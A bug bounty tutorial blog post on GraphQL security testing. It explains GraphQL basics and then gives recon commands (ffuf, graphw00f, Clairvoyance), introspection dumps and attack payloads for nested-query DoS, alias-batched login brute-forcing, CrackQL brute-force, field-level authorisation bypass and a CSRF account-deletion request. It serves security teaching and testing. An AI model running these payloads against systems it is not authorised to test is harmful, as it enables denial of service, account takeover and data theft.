I'm always excited to connect with professionals, collaborate on cybersecurity projects, or share insights.

Social Links

Status
Loading...
Bug Bounty

GraphQL for Bug Bounty Hunters

GraphQL for Bug Bounty Hunters

GraphQL is taking over modern web applications—faster, smarter, and more flexible than REST ever was. But that same flexibility makes it a goldmine for bug bounty hunters. Most developers still treat it like a black box—one endpoint, one body, no problem. Until that one endpoint gives you everything. This guide breaks down how GraphQL really works, why it’s different from REST, and how to actually test it like a hacker—not a developer.

What Is GraphQL, Really?

GraphQL isn’t just another API format. It’s a full query language built by Facebook in 2012, designed to let the client ask for exactly what it needs—and only that. It doesn’t talk directly to a database; instead, it’s a flexible layer that connects front-end clients to whatever sits behind it: databases, microservices, or even legacy REST APIs.

In REST, each endpoint gives you a fixed set of data. You want a user? One endpoint. You want their posts? Another one. That’s multiple requests, more endpoints, and more surface to secure. GraphQL throws that away. One endpoint. One request. As much data as you ask for. Great for developers. Terrifying for security.

GraphQL vs REST: The Real Difference

To see this power in action, let’s compare them head-to-head:

REST:

  • Fetching user details and their posts typically involves two endpoints:
    • /users/1
    • /users/1/posts
  • Multiple requests = more server load and increased attack exposure (think: more endpoints to test).

GraphQL:

  • One query, one endpoint:

      {
        user(id: 1) {
          name
          email
          posts {
            title
            content
          }
        }
      }
  • All required data in a single response.

Why It Matters: REST servers control the data flow. In GraphQL, the client controls it. This control is efficient but dangerous: without proper protections, attackers can query everything, from deeply nested relationships to sensitive fields, in a single request.

Every GraphQL API Starts with a Schema

Everything in GraphQL is built upon a schema-the blueprint for every type, relationship, and operation in the API.

Example Schema:

type User {
  id: ID
  name: String
  email: String
  posts: [Post]
}
type Post {
  id: ID
  title: String
  content: String
  author: User
}
  • Scalar types like ID, String, Int, Float, Boolean are the basic building blocks.
  • Relationships (User -> Posts, Post -> User) are prime targets for advanced manipulation and attacks, especially denial of service via deep nesting.

Queries: Retrieving Data (and Fueling Attacks)

Everything a client fetches requires a query.

Basic query:

query {
  user(id: "1") {
    name
    email
  }
}

The server returns only the requested fields-making sensitive field exposure as simple as asking for the wrong thing.

Nested query:

query {
  user(id: "1") {
    name
    email
    posts {
      title
      author {
        name
      }
    }
  }
}

Arbitrarily deep queries are possible, increasing DoS risk.

Why variables matter (and how hackers use them):

query GetUser($userId: ID!) {
  user(id: $userId) {
    name
    email
  }
}
// Pass separately:
{
  "userId": "1"
}

Variables are attack vectors for brute-force, injection, and more.

Mutations: Altering Data and Opening the Door to CSRF

While queries fetch, mutations change:

mutation {
  createPost(title: "New Post", content: "Sample content") {
    id
    title
  }
}

Attackers target mutations for CSRF, logic abuse, and privilege escalation.

Fragments: Abstraction for Clean Code (and Attack Chains)

Fragments are reusable sets of fields:

fragment UserInfo on User {
  name
  email
}
query {
  user(id: "1") {
    ...UserInfo
    posts {
      title
    }
  }
}

Some servers are vulnerable to fragment abuse, especially with circular references for DoS.

The Security Fundamentals: What Makes GraphQL Tricky?

GraphQL’s strength-client-defined queries, single endpoint, deep introspection-is also its weakness. Without strict controls, you risk:

  • Denial of Service: via deeply nested or batch queries
  • Information Disclosure: through introspection or verbose error messages
  • Authentication and Authorization Bypass: if controls aren’t enforced per field
  • Rate Limiting Bypass: as batch queries can evade traditional per-request limits
  • CSRF attacks: if GET requests or lenient content types are accepted

Every attack exploits a built-in GraphQL feature. Without understanding internals, bugs go undetected.

Recon: Finding and Fingerprinting GraphQL

1. Locating the Endpoint

Common GraphQL endpoints include:

  • /graphql
  • /graphiql
  • /api
  • /api/graphql
  • /v1/graphql
  • /graphql/console
  • /playground
  • /query

Use ffuf or similar tools to brute-force discovery:

ffuf -w graphql-paths.txt -u https://target.com/FUZZ

Alternatively, inspect web app traffic in browser DevTools: Look for POST requests with “query” or “mutation” in the body.

2. Fingerprinting

Once found, identify the backend engine. graphw00f can tell you if it’s Apollo, Hasura, Graphene, etc.-crucial for tailored attacks.

graphw00f -t https://target.com/graphql -f

Schema Discovery: The Map to All Data

When Introspection is Enabled

Send a simple introspection query to dump the schema:

{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

Visualize with GraphQL Voyager for mapping relationships and attack surface.

When Introspection is Disabled

Don’t give up! Try:

  • Changing POST to GET (sometimes blocks only one method)
  • By-passing filters with whitespace, comments, or encoding tricks
  • Probing error messages-invalid queries can leak field names

Or brute-force with Clairvoyance:

clairvoyance <https://target.com/graphql> -o schema.json

Even with introspection disabled, fragments of the schema leak through smart guessing.

Attack Scenarios and Real-World Payloads

Denial of Service

Exploit lack of complexity/depth limits. Chain references deeply:

query {
  user {
    friends {
      friends {
        friends {
          friends {
            id
          }
        }
      }
    }
  }
}

Batch/alias abuse:

query {
  user1: user(id: "1") { name }
  user2: user(id: "1") { name }
  user3: user(id: "1") { name }
  // ... and so on
}

Establish DoS conditions using graphql-cop and BatchQL.

Rate Limiting Bypass

Stuff 100 brute-force attempts into one request:

query {
  attempt1: login(username: "admin", password: "pass1") { token }
  attempt2: login(username: "admin", password: "pass2") { token }
  // …98 more attempts
}

The server sees “1 request,” but performs hundreds of operations, easily bypassing naive rate limiters.

Authentication/Authorization Flaws

Classic mistake: failing to do per-field/fine-grained checks. Try querying sensitive info without authentication or for another user.

query {
  user(id: "1") {
    name
    email
    socialSecurityNumber
  }
}

If this works, field-level controls are missing.

Batch brute-force with CrackQL:

python3 CrackQL.py -t https://target.com/graphql \
  -q login.graphql \
  -i usernames_passwords.csv \
  -b 100

Information Disclosure

  • Guess hidden fields like password or debug fields.
  • Send purposely malformed queries:

      query {
        user(id: "1" {
          name
        }
      }
  • Servers may respond with stack traces, internal paths, and even configuration leaks.

Traces and verbose errors can expose backend structure, GraphQL versioning, and routes.

CSRF in GraphQL

If a GraphQL endpoint supports GET or accepts unguarded POSTs, it may be vulnerable to CSRF.

Example attack:

GET /graphql?query={mutation{deleteAccount{success}}}

If a victim is authenticated, an attacker can make the victim issue this from a malicious webpage.

Enforce POST-only, strict content types, and CSRF tokens.

Tools Don’t Find Bugs - You Do

Never forget: Tools are just force multipliers. Only understanding reveals deeper vulnerabilities. Automated plugins can find introspection leaks or missing depth limits. But only you-by reading through the schema and thinking like an attacker-will chain a privilege escalation with a mutation, or find a business logic flaw invisible to scanners.

Practice and Further Learning

  • DVGA (Damn Vulnerable GraphQL Application): Perfect for practicing, breaking, learning GraphQL security.
  • Public GraphQL APIs: Test responsibly against real-world APIs like GitHub, Shopify, and Yelp-stick to read-only queries within their policies.
  • Always respect terms of service when experimenting in the wild.

Conclusion

GraphQL changed how apps talk to backends—and it changed how we hack. The same features that make it efficient make it exploitable. Introspection, batching, fragments, and schema flexibility each carry risks. Automated tools help, but real impact comes from reading the schema like a map, thinking through logic, and chaining flaws manually.

Learn the patterns. Build muscle memory. Test smart. And always—always—stay curious.

This is AmrSec — stay curious, stay secure. 🔐🔥

7 min read
Nov 24, 2025
By Amr Elsagaei
Share

Leave a comment

Your email address will not be published. Required fields are marked *

Related posts

Nov 09, 2025 • 7 min read
Deploy Your Next Hacking Lab in 30 Seconds
Oct 19, 2025 • 7 min read
3 Tricks to Hunt Faster in Bug Bounty
Oct 15, 2025 • 7 min read
The TrashCash | Turning Deleted Files Into Bounties
Your experience on this site will be improved by allowing cookies. Cookie Policy